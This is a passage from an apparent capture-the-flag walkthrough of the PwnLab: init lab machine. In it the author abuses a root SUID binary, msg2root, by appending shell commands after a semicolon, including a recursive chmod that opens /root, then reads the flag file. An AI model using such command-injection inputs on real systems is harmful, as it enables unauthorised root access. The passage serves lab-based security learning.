-rw-r--rwx 1 mike mike 675 Mar 17 2016 .profile
Alright, now we have a root SUID binary... Let's see what it does shall we?
kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello
hello
hello
Wtf is this?! Playing with it:
kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: whoami
whoami
whoami
kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello; ls
hello; ls
hello
msg2root
Message for root: hello; whoami
hello; whoami
hello
root
kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: pwnd; chmod -R o+rwx /root
pwnd; chmod -R o+rwx /root
pwnd
kane@pwnlab:/home/mike$ ls /root
ls /root
flag.txt messages.txt
kane@pwnlab:/home/mike$ cat /root/flag.txt
cat /root/flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| \'_ \ / _\` | \'__/ _\` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
\`-._.-\'